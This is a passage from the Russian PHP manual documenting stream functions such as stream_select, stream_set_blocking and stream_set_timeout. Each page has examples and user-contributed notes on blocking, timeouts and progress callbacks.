Эта команда может использоваться для определения того, перенаправлен ли стандартный поток данных / стандартный поток ошибок в файл.

php -r "var_export(stream_isatty(STDERR));"

Результатом выполнения данного примера будет что-то подобное:

true
php -r "var_export(stream_isatty(STDERR));" 2>output.txt

Результатом выполнения данного примера будет что-то подобное:

false

User Contributed Notes

There are no user contributed notes for this page.


Callback-функция для параметра контекста notification

  • « stream_isatty
  • stream_register_wrapper »
  • PHP Manual
  • Функции для работы с потоками
  • Callback-функция для параметра контекста notification

stream_notification_callback

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

stream_notification_callback — Callback-функция для параметра контекста notification

Описание

stream_notification_callback(
int $notification_code,
int $severity,
?string $message,
int $message_code,
int $bytes_transferred,
int $bytes_max
): void

Callback-функция типа callable, используемая параметром контекста notification, вызываемая во время события.

Замечание:

Это не настоящая функция, а только прототип того, как должна быть реализована функция.

Список параметров

notification_code

Одна из констант оповещения STREAM_NOTIFY_*.

severity

Одна из констант оповещения STREAM_NOTIFY_SEVERITY_*.

message

Передаётся, если для события доступно описывающее сообщение.

message_code

Передаётся, если для события доступен код описывающего сообщения.

Значение данной величины зависит от используемой обёртки.

bytes_transferred

Если доступно, то параметр bytes_transferred будет заполнен.

bytes_max

Если доступно, то параметр bytes_max будет заполнен.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования stream_notification_callback()

<?php
function stream_notification_callback($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max) {

switch($notification_code) {
case STREAM_NOTIFY_RESOLVE:
case STREAM_NOTIFY_AUTH_REQUIRED:
case STREAM_NOTIFY_COMPLETED:
case STREAM_NOTIFY_FAILURE:
case STREAM_NOTIFY_AUTH_RESULT:
var_dump($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max);
/* Игнорируем */
break;

case STREAM_NOTIFY_REDIRECTED:
echo "Перенаправлены на: ", $message;
break;

case STREAM_NOTIFY_CONNECT:
echo "Подсоединились...";
break;

case STREAM_NOTIFY_FILE_SIZE_IS:
echo "Получили размер файла: ", $bytes_max;
break;

case STREAM_NOTIFY_MIME_TYPE_IS:
echo "Получили mime-тип файла: ", $message;
break;

case STREAM_NOTIFY_PROGRESS:
echo "Пошёл прогресс, пока загружено ", $bytes_transferred, " байт";
break;
}
echo "\n";
}

$ctx = stream_context_create();
stream_context_set_params($ctx, array("notification" => "stream_notification_callback"));

file_get_contents("http://php.net/contact", false, $ctx);
?>

Результатом выполнения данного примера будет что-то подобное:

Подсоединились...
Получили mime-тип файла: text/html; CHARSET=Windows-1251
Перенаправлены на: http://no.php.net/contact
Подсоединились...
Получили размер файла: 0
Получили mime-тип файла: text/html; CHARSET=Windows-1251
Перенаправлены на: http://no.php.net/contact.php
Подсоединились...
Получили размер файла: 4589
Получили mime-тип файла: text/html;CHARSET=Windows-1251
Пошёл прогресс, пока загружено 0 байт
Пошёл прогресс, пока загружено 0 байт
Пошёл прогресс, пока загружено 0 байт
Пошёл прогресс, пока загружено 1440 байт
Пошёл прогресс, пока загружено 2880 байт
Пошёл прогресс, пока загружено 4320 байт
Пошёл прогресс, пока загружено 5760 байт
Пошёл прогресс, пока загружено 6381 байт
Пошёл прогресс, пока загружено 7002 байт

Пример #2 Простой индикатор для загрузчика файлов из командной строки

<?php
function usage($argv) {
echo "Использование:\n";
printf("\tphp %s <http://example.com/file> <localfile>\n", $argv[0]);
exit(1);
}

function stream_notification_callback($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max) {
static $filesize = null;

switch($notification_code) {
case STREAM_NOTIFY_RESOLVE:
case STREAM_NOTIFY_AUTH_REQUIRED:
case STREAM_NOTIFY_COMPLETED:
case STREAM_NOTIFY_FAILURE:
case STREAM_NOTIFY_AUTH_RESULT:
/* Игнорируем */
break;

case STREAM_NOTIFY_REDIRECTED:
echo "Перенаправлены на: ", $message, "\n";
break;

case STREAM_NOTIFY_CONNECT:
echo "Подсоединились...\n";
break;

case STREAM_NOTIFY_FILE_SIZE_IS:
$filesize = $bytes_max;
echo "Размер файла: ", $filesize, "\n";
break;

case STREAM_NOTIFY_MIME_TYPE_IS:
echo "Mime-тип файла: ", $message, "\n";
break;

case STREAM_NOTIFY_PROGRESS:
if ($bytes_transferred > 0) {
if (!isset($filesize)) {
printf("\rНеизвестный размер файла.. Закачано %2d Кб..", $bytes_transferred/1024);
} else {
$length = (int)(($bytes_transferred/$filesize)*100);
printf("\r[%-100s] %d%% (%2d/%2d kb)", str_repeat("=", $length). ">", $length, ($bytes_transferred/1024), $filesize/1024);
}
}
break;
}
}

isset($argv[1], $argv[2]) or usage($argv);

$ctx = stream_context_create();
stream_context_set_params($ctx, array("notification" => "stream_notification_callback"));

$fp = fopen($argv[1], "r", false, $ctx);
if (is_resource($fp) && file_put_contents($argv[2], $fp)) {
echo "\nГотово!\n";
exit(0);
}

$err = error_get_last();
echo "\nОшшшшибкка..\n", $err["message"], "\n";
exit(1);
?>

Выполнение вышеприведённого примера со следующими опциями: php -n fetch.php http://no2.php.net/get/php-5-LATEST.tar.bz2/from/this/mirror php-latest.tar.bz2 выведет что-то похожее на это:

Подсоединились...
Mime-тип файла: text/html; CHARSET=Windows-1251
Перенаправлены на: http://no2.php.net/distributions/php-5.2.5.tar.bz2
Подсоединились...
Размер файла: 7773024
Mime-тип файла: application/octet-stream
[========================================>                                                           ] 40% (3076/7590 kb)

Смотрите также

  • Параметры контекста

User Contributed Notes

aetonsi 29-Nov-2022 03:51
A couple of unreported behaviors:
- case 1) if this callback calls die/exit($msg), it will print $msg, then the execution will go on until the request/wrapper is consumed, emitting a "PHP Warning: Failed to call user notifier" on each invocation of the callback. After the last callback invocation, the script is immediately terminated.
- case 2) if this callback throws an exception, it will behave the same way as exit/die, except for the fact that after the last callback invocation it does not terminate the script. The exception is instead raised in the scope of the request/wrapper, and can be caught with a try catch (right there or at a higher level).

Example code for case 1). The final "TEST ECHO" string will NOT be printed.
<?php
$context = stream_context_create(['http' => ['ignore_errors' => true,]]);
stream_context_set_params($context, ['notification' => function () {
    die('error');
}]);

file_get_contents('https://www.google.com', false, $context);
echo "TEST ECHO";
?>

Example code for case 2). The exception is raised at the level of the file_get_contents call, it's catched, and the final "TEST ECHO" gets printed.
<?php
$context = stream_context_create(['http' => ['ignore_errors' => true,]]);
stream_context_set_params($context, ['notification' => function () {
    throw new Exception('...');
}]);

try{
    file_get_contents('https://www.google.com', false, $context);
}catch(exception $e) { }
echo "TEST ECHO";
?>
billynoah at gmail dot com 16-Jun-2017 10:58
A couple of notes regarding the examples here (I'm using PHP 7.0.18):

1) fopen() did not provide STREAM_NOTIFY_PROGRESS for me but `file_get_contents()` worked fine.

2) The bytes transferred when transferring a zip file seems to always be shy by 8192 (8k).  This varies depending on filetype and also breaks STREAM_NOTIFY_PROGRESS when the filesize is below 8k.  I modified the function and it's now displaying the correct amount transferred and percentage downloaded on zip files above 8k.  I'm not sure why the callback is so inconsistent but hopefully this is helpful to someone.  This was also modified to only display progress:

<?php

$ctx = stream_context_create();
stream_context_set_params($ctx, array("notification" => "stream_notification_callback"));
$fileData = @file_get_contents('http://example.com/test.zip',false,$ctx);

function stream_notification_callback($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max) {
    static $filesize = null;
    switch($notification_code) {
    case STREAM_NOTIFY_FILE_SIZE_IS:
        $filesize = $bytes_max;
        break;
    case STREAM_NOTIFY_CONNECT:
        echo "Connected...\n";
        break;
    case STREAM_NOTIFY_PROGRESS:
        if ($bytes_transferred > 0 && $filesize >= 8192) {
            $bytes_transferred += 8192;
            if (!isset($filesize)) {
                printf("\rUnknown filesize.. %2d kb done..", $bytes_transferred/1024);
            } else {
                $length = (int)(($bytes_transferred/$filesize)*100);
                printf("\r[%-100s] %d%% (%2d/%2d kb)", str_repeat("=", $length). ">", $length, ($bytes_transferred/1024), $filesize/1024);
            }
        }
        break;
    }
}
?>
recycling dot sp dot am at gmail dot com 10-Sep-2010 05:08
Please note that the callback function never gets called when the stream is (at least) of type socket. It is probably the same for the file:// proto although I've not done further tests.

I'm using php 5.3.3.


Псевдоним stream_wrapper_register

  • « stream_notification_callback
  • stream_resolve_include_path »
  • PHP Manual
  • Функции для работы с потоками
  • Псевдоним stream_wrapper_register

stream_register_wrapper

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_register_wrapper — Псевдоним stream_wrapper_register()

Описание

Функция является псевдонимом: stream_wrapper_register().

User Contributed Notes

There are no user contributed notes for this page.


Преобразовать полное имя файла, используя пути включения

  • « stream_register_wrapper
  • stream_select »
  • PHP Manual
  • Функции для работы с потоками
  • Преобразовать полное имя файла, используя пути включения

stream_resolve_include_path

(PHP 5 >= 5.3.2, PHP 7, PHP 8)

stream_resolve_include_path — Преобразовать полное имя файла, используя пути включения

Описание

stream_resolve_include_path(string $filename): string|false

Преобразовать полное имя файла из параметра filename, используя пути включения в соответствии с теми же правилами, что и функции fopen()/include.

Список параметров

filename

Имя файла, которое необходимо преобразовать.

Возвращаемые значения

Возвращает строку (string), содержащую полученное абсолютное имя файла или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования stream_resolve_include_path()

Основной пример использования.

<?php
var_dump(stream_resolve_include_path("test.php"));
?>

Результатом выполнения данного примера будет что-то подобное:

string(22) "/var/www/html/test.php"

User Contributed Notes

kawewong at gmail dot com 07-Feb-2021 07:42
In some case like this, you can't use `realpath()` or `file_exists()` without resolve its path.

Example:

file.php
subfolder/
..|- included.php
..|- subfolder/
.........|- another-included.php

file.php contents:
```
<?php
var_dump(file_exists('subfolder/included.php'));// true
include 'subfolder/included.php';
?>
```

subfolder/included.php contents:
```
<?php
var_dump(file_exists('subfolder/another-included.php'));// false but the file is really exists.
var_dump(file_exists(stream_resolve_include_path('subfolder/another-included.php')));// with `stream_resolve_include_path()` function, it returns true now.
include 'subfolder/another-included.php';// working fine, no errors.
?>
```

subfolder/subfolder/another-included.php contents:
```
<?php
echo 'Hello world';
?>
```
zelnaga at gmail dot com 17-Jun-2014 02:48
In case you're running a version of PHP that doesn't have this function...

if (!function_exists('stream_resolve_include_path')) {
    /**
     * Resolve filename against the include path.
     *
     * stream_resolve_include_path was introduced in PHP 5.3.2. This is kinda a PHP_Compat layer for those not using that version.
     *
     * @param Integer $length
     * @return String
     * @access public
     */
    function stream_resolve_include_path($filename)
    {
        $paths = PATH_SEPARATOR == ':' ?
            preg_split('#(?<!phar):#', get_include_path()) :
            explode(PATH_SEPARATOR, get_include_path());
        foreach ($paths as $prefix) {
            $ds = substr($prefix, -1) == DIRECTORY_SEPARATOR ? '' : DIRECTORY_SEPARATOR;
            $file = $prefix . $ds . $filename;

            if (file_exists($file)) {
                return $file;
            }
        }

        return false;
    }
}
tambet dot matiisen at gmail dot com 28-Mar-2013 12:26
stream_resolve_include_path() seems to cache it's output. After I renamed a file, I had to restart Apache for stream_resolve_include_path() to not return non-existing file name. This was on Windows.
kontakt at victorjonsson dot se 25-Apr-2012 08:13
This seems to be a great alternative to file_exists.

if( file_exists(__DIR__.'/som-file.php') )

Goes way slower than:

if( stream_resolve_inlcude_path(__DIR__.'/som-file.php') !== false)
sebastian dot krebs at kingcrunch dot de 16-Feb-2011 03:03
It really behaves like `include` and will only resolve the filename against the include-path, if the path is relative. It makes not much sense to resolve already absolute pathnames anyway.


Запускает эквивалент системного вызова select() на заданных массивах потоков со временем ожидания, указанным параметрами seconds и microseconds

  • « stream_resolve_include_path
  • stream_set_blocking »
  • PHP Manual
  • Функции для работы с потоками
  • Запускает эквивалент системного вызова select() на заданных массивах потоков со временем ожидания, указанным параметрами seconds и microseconds

stream_select

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_select — Запускает эквивалент системного вызова select() на заданных массивах потоков со временем ожидания, указанным параметрами seconds и microseconds

Описание

stream_select(
?array &$read,
?array &$write,
?array &$except,
?int $seconds,
?int $microseconds = null
): int|false

Функция stream_select() получает массивы потоков и ждёт изменения их статуса. Её работа эквивалентна работе функции socket_select(), за исключением того, что она работает с потоками.

Список параметров

read

Потоки, перечисленные в массиве read будут отслеживаться на предмет появления символов, доступных для чтения (точнее, чтобы убедиться, что чтение не будет блокироваться - в частности, потоковый ресурс также готов для чтения в конце файла, но в этом случае функция fread() будет возвращать строку нулевой длины).

write

Потоки, перечисленные в массиве write, будут отслеживаться на предмет того, что запись в них не будет блокироваться.

except

Потоки, перечисленные в массиве except, будут отслеживаться на предмет поступления высокоприоритетных исключительных (внеполосных или "out-of-band") данных.

Замечание:

Когда stream_select() возвращается, массивы read, write и except изменяются для того, чтобы указать, какие потоковые ресурсы на самом деле изменили статус. Исходные ключи массивов (array) сохраняются.

seconds

Параметры seconds и microseconds вместе формируют параметр timeout, seconds указывает число секунд, а microseconds - число микросекунд. Параметр timeout - это верхняя граница времени, которое функция stream_select() будет ожидать до возвращения. Если параметры seconds и microseconds оба установлены в 0, то функция stream_select() не будет ожидать данных - вместо этого она вернётся немедленно, указывая текущий статус потоков.

Если параметр seconds равен null, то функция stream_select() может выполняться неопределённое время, возвращаясь только тогда, когда происходит событие на одном из отслеживаемых потоков (или если системный вызов прерывается сигналом).

Внимание

Использование значения времени ожидания 0 позволяет вам мгновенно опросить статус потоков, однако ПЛОХАЯ идея использовать значение времени ожидания 0 в цикле, так как это заставит ваш скрипт потреблять слишком много процессорного времени.

Гораздо лучше указать значение времени ожидания в несколько секунд, хотя если вам нужно проверять и одновременно запускать другой код, использование времени ожидания как минимум 200000 микросекунд поможет уменьшить использование процессорного времени вашим скриптом.

Запомните, что значение времени ожидания - это максимальное время, которое будет затрачено. Функция stream_select() вернётся как только запрошенные потоки будут готовы к использованию.

microseconds

Смотрите описание параметра seconds.

Возвращаемые значения

В случае успешного выполнения функция stream_select() возвращает количество потоковых ресурсов, содержащееся в изменённых массивах, которое может равно нулю, если превышено время ожидания до того, как произошло что-то интересное. В случае возникновения ошибки возвращается false и возникает предупреждение (это может случиться, если системный вызов прерывается входящим сигналом).

Список изменений

Версия | Описание
8.1.0 | Параметр microseconds теперь допускает значение null.

Примеры

Пример #1 Пример использования stream_select()

Этот пример проверяет, что получены данные для чтения на потоках $stream1 или $stream2. Так как значение времени ожидания равно 0, функция возвратится немедленно:

<?php
/* Подготовить массив для чтения */
$read = array($stream1, $stream2);
$write = NULL;
$except = NULL;
if (false === ($num_changed_streams = stream_select($read, $write, $except, 0))) {
/* Обработка ошибок */
} elseif ($num_changed_streams > 0) {
/* Как минимум на одном из потоков произошло что-то интересное */
}
?>

Примечания

Замечание:

По причине ограничения в текущем Zend Engine невозможно передать постоянную null непосредственно как параметр в функцию, которая ожидает, что этот параметр будет передан по ссылке. Вместо этого используйте временную переменную или выражение, в котором крайний левый член будет временной переменной:

<?php
$e = NULL;
stream_select($r, $w, $e, 0);
?>

Замечание:

Убедитесь, что используете оператор === при проверке на ошибку. Так как функция stream_select() может возвращать 0, сравнение с использованием == может возвращать true:

<?php
$e = NULL;
if (false === stream_select($r, $w, $e, 0)) {
echo "Произошла ошибка при вызове stream_select()\n";
}
?>

Замечание:

Если вы читаете/пишете в поток, возвращаемый в массивах, знайте, что они не обязательно читают/пишут полное количество данных, которое вы запросили. Будьте готовы к тому, чтобы иметь возможность читать/писать даже по одному байту.

Замечание:

Некоторые потоки (например, zlib) не могут быть выбраны этой функцией.

Замечание: Совместимость с Windows

Использование функции stream_select() на файловых дескрипторах, возвращённых функцией proc_open() не удастся и возвратит false под Windows.

STDIN из консоли меняет статус, как только становятся доступны какие-либо входные события, но чтение из потока всё ещё может блокироваться.

Смотрите также

  • stream_set_blocking() - Установить блокирующий/неблокирующий режим в потоке

User Contributed Notes

Sitsofe 04-Feb-2019 06:52
When stream_select() fails you SHOULD NOT use the results of the arrays (i.e. read, write, except) that were passed into it as parameters. While doing so anyway won't trigger undefined behaviour, you are depending on unspecified behaviour that by definition is not guaranteed.

At the time of writing the PHP 7.2 interpreter does not modify the arrays upon stream_select() failure (see the code around https://github.com/php/php-src/blob/php-7.2.14/ext/standard/streamsfuncs.c#L842) thus a PHP program that doesn't heed the advice above can deceive itself as to the state of those streams.

(Hopefully this warning can be added to the main documentation one day)
Martin 15-Jun-2018 11:17
Maintaining connection with multiple clients can be tricky, PHP script is single-thread process, so if you like to do more than one thing at once (like waiting for new connections and waiting for new data), you'll have to use some sort of multiplexing.

<?php
$socket = stream_socket_server("tcp://0.0.0.0:8000", $errno, $errstr, STREAM_SERVER_BIND | STREAM_SERVER_LISTEN);
stream_set_blocking($socket, 0);

$connections = [];
$read = [];
$write = null;
$except = null;

while (1) {

    // look for new connections
    if ($c = @stream_socket_accept($socket, empty($connections) ? -1 : 0, $peer)) {
        echo $peer.' connected'.PHP_EOL;
        fwrite($c, 'Hello '.$peer.PHP_EOL);
        $connections[$peer] = $c;
    }

    // wait for any stream data
    $read = $connections;
    if (stream_select($read, $write, $except, 5)) {

        foreach ($read as $c) {
            $peer = stream_socket_get_name($c, true);

            if (feof($c)) {
                echo 'Connection closed '.$peer.PHP_EOL;
                fclose($c);
                unset($connections[$peer]);
            } else {
                $contents = fread($c, 1024);
                echo $peer.': '.trim($contents).PHP_EOL;
            }
        }
    }
}
?>
asphp at dsgml dot com 04-Feb-2016 09:28
Make sure not to pass the same variable in the 3 arguments to stream_select, or you'll only get the results from one of them and the others will be overwritten.
doingitwrong at mailismagic dot com 17-Jun-2015 10:35
If you use stream_select() with a blocking stream, you are doing it wrong!

Just because this function returns something in one or more of the arrays does NOT mean that a future read or write operation will not block.

The above sentence is the most important sentence you will ever read regarding stream manipulation.  Using stream_select() with blocking streams is a very common amateur mistake and causes major headaches when tracking down usage of this and similar select() system functions.  PHP (and really the underlying OS) should verify that the supplied stream set is not blocking and throw an error/exception if any socket is set to block so that people are forced to fix their code.  The documentation for stream_select() is, at best, misleading.

If you want a non-blocking stream, then set the stream to not block.  Otherwise, live with the blocking stream.  That is, after all, the whole point of blocking - to block indefinitely until the operation completes.  select() is built for non-blocking streams ONLY.  Any other use will result in very hard to track down bugs.

I got the above lecture many years ago after encountering the very bugs I mention.  I fixed my code and now correct similar mistakes when I run into the issue elsewhere.  Writing code for non-blocking streams is simpler than trying to write hacks for blocking streams with select() functions and ending up with application bugs.
rob at associatedtechs dot com 18-Jul-2014 12:26
If you try to use stream_select() with fread(), you may get bit by a combination of bugs (https://bugs.php.net/bug.php?id=52602 and https://bugs.php.net/bug.php?id=51056). As of PHP 5.5.10, fread() and stream_select() don't reliably play well together.

If you need stream_select() and you don't need an encrypted connection (e.g. TLS), use stream_socket_recvfrom() instead of fread().

I can't find a way to reliably handle an encrypted connection with blocking functions in PHP; non-blocking might be the only way to do it.
mark2xv at gmail dot com 20-Aug-2013 04:52
If you're getting unexplainable problems with nonblocking sockets using stream_select, disable the buffers using:

stream_set_read_buffer($socket, 0);
stream_set_write_buffer($socket, 0);

For some reason when writing (in total) ~256k, sockets start returning FALSE when reading, yet always appear in the stream_select arrays. This fixed that problem. (for us.)
aks at esoft dot dk 10-Nov-2010 07:56
stream_select() looks deceptively like a simple wrapper around POSIX select(2).

But beware: while select(2) allows you to pass no file descriptors and use it as a "portable subsecond sleep", PHP will complain with "Warning: stream_select(): No stream arrays were passed in ****" if all arrays are empty or null, and it WONT sleep, it will return immediately. So... if the number of file descriptors you have isn't static, you have to deal with the special case yourself.
lynch at php dot net 15-Mar-2010 12:48
Note: At least one of the input arrays must be non-empty, or you get an E_WARNING message:
PHP Warning:  stream_select(): unable to select [9]: Bad file descriptor (max_fd=0) in
jerrywilborn at gmail dot com 27-Jul-2009 10:55
http://bugs.php.net/bug.php?id=42682

This function will not return the number of changed streams under certain systems with older versions, but instead it will return '0'. Be careful.
php at richardneill dot org 04-Jul-2009 07:45
Note that reading from a regular file which is on end-of-file will *not* block. You'll get a non-blocking, zero-byte read.  However, stream_select *will* block if the input is a pipe, and there is no more data to be had.
Maxdamantus 29-Sep-2007 10:28
Simple stream_select wrapper.. Returns the first stream in the array, and sets parameter 2 to the key (So that it is easy to identify what received data):

<?php
function select($array, &$vkey, $timeout=0){
    $select = array();
    $null = NULL;
    foreach($array as $key => $sock){
        $x = count($select);
        $select[$x] = $sock;
        $keys[$x] = $key;
    }
    if(stream_select($select, $null, $null, $timeout)){
        foreach($keys as $key){
            if($array[$key] == $select[0]){
                $vkey = $key;
                return($select[0]);
            }
        }
    }
}

$streams = array("foo" => $stream_one, "bar" => $stream_two); // Create an array of two (already existant) streams.
if($new = select($streams, $key, 60)){ //Sets $new to the resource that next gets new data, and $key to either "foo", or "bar", depending which one it is.
    echo $key.":".stream_get_line($new, 2048)."\n";
}
?>
bluej100@gmail 21-Aug-2007 04:31
@mbaynton at gmail dot com

A handy syntactic trick:

<?php
$r = Array($stream1, $stream2);
stream_select($r, $w = null, $x = null, 1337);
?>

I've seen it recommended elsewhere in the documentation for clarifying magic arguments so maintainers don't have to go check the function itself, but it also solves your problem here.
Ben 01-Feb-2007 05:35
You can key on file descriptors just fine by casting them to an int or a string, which returns what you would expect.
maartenwolzak at gmail dot com 25-Jan-2007 01:36
Note that you should change the calctimeout function below to divide the outcome by 1.000.000 otherwise you'll be waiting for two years instead of one minute for the socket to timeout...

<?php

// The function to calculate the timeout
function calctimeout($maxtime, $starttime)
{
   return ($maxtime - ((microtime(true) - $starttime) * 1000000))/1000000;
}

?>
aidan at aidans dot org 07-Dec-2006 07:53
Note that contrary to what the previous poster said, one is not able to use a stream resource as a key for an array. Rather, if you want to know which socket you are dealing with, consider using code similar to this:

<?php
$sockets = array("sock_1" => $sock1, "sock_2" => $sock2, "sock_3" => $sock_3);

$read = $write = $error = $sockets;
$num = stream_select($read, $write, $error, 10);
if ($n > 0) {
    foreach ($read as $r) {
        $key = array_search($r, $sockets);
        // $key will be "sock_1", "sock_2", "sock_3", etc.
    }
}
?>

Hope that helps someone out there!
phpdoc at shemesh dot biz 14-Mar-2005 01:33
Please note that, on return, the key of "read" will be zero based, serially numbered according to the streams for which there is read data ready only. In other words, if you want to know which of the original streams placed in "read" is ready, there is no immediate way of knowing that.

If you want to know which of the original stream is which, you can either use "==", or possibly set a reverse map array, in which the stream is the key, and the key to the original "read" array is the data.
aidan at php dot net 22-Jun-2004 11:30
If you want to set an absolute maximum execution time for stream_select in a loop, it's important to decrement the max_time value passed to stream_select.

<?php
// The maximum time for execution in milliseconds
$maxtime = 200000;
// The time the loop started
$starttime = microtime(true);
// Original array of sockets
$r = $orig_sockets;

// The function to calculate the timeout
function calctimeout($maxtime, $starttime)
{
    return $maxtime - ((microtime(true) - $starttime) * 1000000);
}

while (stream_select($r, $w = null, $e = null, 0, calctimeout($maxtime, $starttime)) !== 0)
{
    // loop through the sockets that showed activity
    foreach ($r as $socket) {
        // $socket talked
    }

    // stream_select modifies the contents of $r
    // in a loop we should replace it with the original
    $r = $orig_sockets;
}

?>


Установить блокирующий/неблокирующий режим в потоке

  • « stream_select
  • stream_set_chunk_size »
  • PHP Manual
  • Функции для работы с потоками
  • Установить блокирующий/неблокирующий режим в потоке

stream_set_blocking

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_set_blocking — Установить блокирующий/неблокирующий режим в потоке

Описание

stream_set_blocking(resource $stream, bool $enable): bool

Устанавливает блокирующий или неблокирующий режим в потоке stream.

Эта функция работает для любого потока, который поддерживает неблокирующий режим (в настоящее время это обычные файлы и сокетные потоки).

Список параметров

stream

Поток.

enable

Если параметр enable равен false, указанный поток будет переключён в неблокирующий режим, а если он равен true, поток будет переключён в блокирующий режим. Это влияет на такие вызовы, как fgets() и fread(), которые читают из потока. В неблокирующем режиме вызов функции fgets() будет всегда возвращаться сразу, тогда как в блокирующем режиме он будет ожидать, пока данные станут доступны на потоке.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примечания

Замечание:

В Windows эта функция не влияет на локальные файлы. Неблокирующий IO для локальных файлов не поддерживается в Windows.

Смотрите также

  • stream_select() - Запускает эквивалент системного вызова select() на заданных массивах потоков со временем ожидания, указанным параметрами seconds и microseconds

User Contributed Notes

ayon at hyurl dot com 21-Feb-2017 01:38
It is necessary to be noted that stream_set_blocking() and stream_set_timeout() does not work width standard I/O streams, such as STDIN and STDOUT.
Anonymous 04-Jan-2013 07:38
On Windows this function does not work with pipes opened with proc_open (https://bugs.php.net/bug.php?id=47918, https://bugs.php.net/bug.php?id=34972, https://bugs.php.net/bug.php?id=51800)
MagicalTux at ookoo dot org 07-Sep-2006 11:13
When you use fwrite() on a non-blocking stream, data isn't discarded silently as t dot starling said.

Remember that fwrite() returns an int, and this int represents the amount of data really written to the stream. So, if you see that fwrite() returns less than the amount of written data, it means you'll have to call fwrite() again in the future to write the remaining amount of data.

You can use stream_select() to wait for the stream to be available for writing, then continue writing data to the stream.

Non-blocking streams are useful as you can have more than one non-blocking stream, and wait for them to be available for writing.


Установить размер фрагмента данных потока

  • « stream_set_blocking
  • stream_set_read_buffer »
  • PHP Manual
  • Функции для работы с потоками
  • Установить размер фрагмента данных потока

stream_set_chunk_size

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

stream_set_chunk_size — Установить размер фрагмента данных потока

Описание

stream_set_chunk_size(resource $stream, int $size): int

Установить размер фрагмента обрабатываемых данных потока.

Список параметров

stream

Поток.

size

Желаемый размер фрагмента.

Возвращаемые значения

Возвращает предыдущий размер фрагмента в случае успешного выполнения.

Вернёт false, если size меньше 1 или больше PHP_INT_MAX.

Ошибки

Вызывает ошибку уровня E_WARNING, если size меньше 1 или больше PHP_INT_MAX.

User Contributed Notes

There are no user contributed notes for this page.


Установить буферизацию чтения файла на указанном потоке

  • « stream_set_chunk_size
  • stream_set_timeout »
  • PHP Manual
  • Функции для работы с потоками
  • Установить буферизацию чтения файла на указанном потоке

stream_set_read_buffer

(PHP 5 >= 5.3.3, PHP 7, PHP 8)

stream_set_read_buffer — Установить буферизацию чтения файла на указанном потоке

Описание

stream_set_read_buffer(resource $stream, int $size): int

Устанавливает буфер чтения. Это эквивалент функции stream_set_write_buffer(), но для операций чтения.

Список параметров

stream

Файловый указатель.

size

Число байт для буферизации. Если аргумент size равен 0, то операции чтения не буферизуются. Это гарантирует, что все операции чтения при помощи функции fread() будут завершены до того, как остальным процессам будет позволено читать из входного потока.

Возвращаемые значения

Возвращает 0 в случае успешного выполнения, или другое значение, если запрос не может быть выполнен.

Смотрите также

  • stream_set_write_buffer() - Устанавливает буферизацию файла при записи в указанный поток

User Contributed Notes

There are no user contributed notes for this page.


Установить значение времени ожидания для потока

  • « stream_set_read_buffer
  • stream_set_write_buffer »
  • PHP Manual
  • Функции для работы с потоками
  • Установить значение времени ожидания для потока

stream_set_timeout

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_set_timeout — Установить значение времени ожидания для потока

Описание

stream_set_timeout(resource $stream, int $seconds, int $microseconds = 0): bool

Устанавливает значение времени ожидания в потоке stream, равное сумме параметров seconds и microseconds.

Когда время работы потока истекает, ключ 'timed_out' массива, возвращаемого функцией stream_get_meta_data(), устанавливается в значение true, хотя ошибка или предупреждение не генерируется.

Список параметров

stream

Целевой поток.

seconds

Секунды в устанавливаемом времени ожидания.

microseconds

Микросекунды в устанавливаемом времени ожидания.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования stream_set_timeout()

<?php
$fp = fsockopen("www.example.com", 80);
if (!$fp) {
echo "Невозможно открыть сокет\n";
} else {

fwrite($fp, "GET / HTTP/1.0\r\n\r\n");
stream_set_timeout($fp, 2);
$res = fread($fp, 2000);

$info = stream_get_meta_data($fp);
fclose($fp);

if ($info['timed_out']) {
echo 'Истекло время соединения!';
} else {
echo $res;
}

}
?>

Примечания

Замечание:

Эта функция не работает с продвинутыми операциями, такими, как stream_socket_recvfrom(). Используйте вместо неё stream_select() с параметром времени ожидания.

Эта функция раньше вызывалась через set_socket_timeout() и позднее через socket_set_timeout(), но это использование устарело.

Смотрите также

  • fsockopen() - Открывает соединение с интернет-сокетом или доменным сокетом Unix
  • fopen() - Открывает файл или URL

User Contributed Notes

burninleo at gmx dot net 10-Jan-2016 01:15
If the timeout fails, because the server remains completely silent, one may have to add stream_select() to make the timeout work. This may be much more efficient that a non-blocking reading operation.

<?php
stream_set_timeout($c, $timeout);
$data = '';
$stR = array($this->smtp_conn);
$stW = null;
while (is_resource($c) && !feof($c)) {
    if (!stream_select($stR, $stW, $stW, $timeout)) {
        trigger_error('Timeout');
        break;
    }
    $str = fgets($c, 515);
    $data.= $str;

    // Handling of "traditional" timeout
    $info = stream_get_meta_data($c);
     if ($info['timed_out']) {
        trigger_error('Timeout');
        break;
    }
}
?>

Background: We had issues with a SMTP server that was addresses unencrypted while expecting TLS encryption. The stream_set_timeout() alone did not work as expected and the script hung for an hour or more.
burninleo at gmx dot net 09-Jan-2016 11:06
Another note alread states that blocking-reads may be an issue, if the counterpart responds very slowly - or not at all. The stream timeout may not work as expected in such a situation.

However, php.net provides very little information on how to use non-blocking reading operations. Here's a code sample:

<?php
        stream_set_timeout($c, $timeout);
        $data = '';
        while (is_resource($c) && !feof($c)) {
            // Use non-blocking reading for first loop
            if (($data === '') and ($timeout > 0)) {
                stream_set_blocking($c, false);
                $endtimeOut = time() + $timeout;
                $str = '';
                while ((time() < $endtimeOut) and (strlen($str) < 515) and !feof($c)) {
                    sleep(1);  // Note: This may require tuning
                    $str.= fgets($c, 515);
                }
                // Handling first-read timeout
                if (time() >= $endtimeOut) {
                    trigger_error('Timeout', E_USER_WARNING);
                    break;
                }
                stream_set_blocking($c, true);
            } else {
                $str = fgets($c, 515);
            }
            $data.= $str;

            // Handling of "traditional" timeout
            $info = stream_get_meta_data($c);
